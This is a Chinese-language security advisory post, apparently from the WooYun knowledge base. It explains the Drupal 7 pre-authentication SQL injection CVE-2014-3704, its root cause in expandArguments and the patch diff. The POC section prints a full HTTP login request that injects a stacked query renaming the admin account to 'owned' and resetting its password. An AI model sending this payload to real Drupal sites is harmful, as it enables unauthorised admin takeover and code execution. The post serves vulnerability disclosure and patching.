<main class="main-container ng-scope" ng-view=""><div class="main receptacle post-view ng-scope"><article class="entry ng-scope" ng-controller="EntryCtrl" ui-lightbox=""><header><h1 class="entry-title ng-binding">Drupal - pre Auth SQL Injection Vulnerability</h1><div class="entry-meta"><a target="_blank" class="author name ng-binding">爱小狐狸的小螃蟹</a> <span class="bull">·</span> <time title="2014/10/16 11:33" ui-time="" datetime="2014/10/16 11:33" class="published ng-binding ng-isolate-scope">2014/10/16 11:33</time></div></header><section class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml"><p></p><h2>0x00 背景</h2><hr><pre><code>影响版本：7.0 到 7.31
危害：非登录状态SQL注入，可造成代码执行。
风险：高危
厂商状态：Drupal的7.32修复此漏洞
CVE：CVE-2014-3704
</code></pre><h2>0x01 细节</h2><hr><p>Drupal在所有的SQL查询语句当中都是用的预编译来处理。</p><p>为了处理IN语句，有一个expandArguments函数来展开数组。</p><pre><code>#!php
 protected function expandArguments(&amp;$query, &amp;$args) {
  $modified = FALSE;

  // If the placeholder value to insert is an array, assume that we need
  // to expand it out into a comma-delimited set of placeholders.
  foreach (array_filter($args, 'is_array') as $key =&gt; $data) {
    $new_keys = array();
    foreach ($data as $i =&gt; $value) {
      // This assumes that there are no other placeholders that use the same
      // name.  For example, if the array placeholder is defined as :example
      // and there is already an :example_2 placeholder, this will generate
      // a duplicate key.  We do not account for that as the calling code
      // is already broken if that happens.
      $new_keys[$key . '_' . $i] = $value;
    }

    // Update the query with the new placeholders.
    // preg_replace is necessary to ensure the replacement does not affect
    // placeholders that start with the same exact text. For example, if the
    // query contains the placeholders :foo and :foobar, and :foo has an
    // array of values, using str_replace would affect both placeholders,
    // but using the following preg_replace would only affect :foo because
    // it is followed by a non-word character.
    $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);

    // Update the args array with the new placeholders.
    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }

  return $modified;
}
</code></pre><p>该函数假定它被调用时是没有key的。例如：</p><pre><code>db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=&gt;array('user1','user2'))); 
</code></pre><p>执行的SQL语句为：</p><pre><code>SELECT * from users where name IN (:name_0, :name_1) 
</code></pre><p>通过参数传入name&#95;0= user1，name&#95;1=user2。</p><p>那么问题来了，如果带入数组当中有key并且不是整数呢。例如：</p><pre><code>db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=&gt;array('test -- ' =&gt; 'user1','test' =&gt; 'user2')));
</code></pre><p>执行SQL语句为：</p><pre><code>SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
</code></pre><p>参数：name_test=user2。</p><p>由于Drupal使用PDO，因此可以多语句查询。所以这个SQL注入向数据库里插入任意数据，下载或者修改存在的数据，甚至drop掉整个数据库。</p><p>攻击者可以通过向数据库里插入任意的数据，利用Drupal的特性执行PHP代码。</p><h2>0x02 修复方案</h2><hr><pre><code>#!diff
diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key =&gt; $data) {
       $new_keys = array();
-      foreach ($data as $i =&gt; $value) {
+      foreach (array_values($data) as $i =&gt; $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate
</code></pre><h2>0x03 POC</h2><hr><p>有人在pastebin上放出了把原来id为1的管理，替换成名字为owned，密码是thanks的管理员。</p><pre><code>POST /drupal-7.31/?q=node&amp;destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&amp;name[0]=test&amp;pass=shit2&amp;test2=test&amp;form_build_id=&amp;form_id=user_login_block&amp;op=Log+in
</code></pre><p></p></section></article><div class="entry-controls clearfix"><div style="float:left;color:#9d9e9f;font-size:15px"><span>&copy;乌云知识库版权所有 未经许可 禁止转载</span></div></div><div id="comments" class="comment-list clearfix"><div id="comment-list"><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">园长</span> <span class="reply-time">2014-10-17 20:59:24</span></div><p></p><p>又是in吗？select xx in</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">Knight</span> <span class="reply-time">2014-10-16 21:47:28</span></div><p></p><p>乱，还是自己找份源码看算了。</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">◕‿◕</span> <span class="reply-time">2014-10-16 15:54:17</span></div><p></p><p>自己装的drupal密码是md5的呀</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">国家队</span> <span class="reply-time">2014-10-16 13:49:59</span></div><p></p><p>翻译请注明出处 https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html</p><p></p></div></div></div></div></div></main>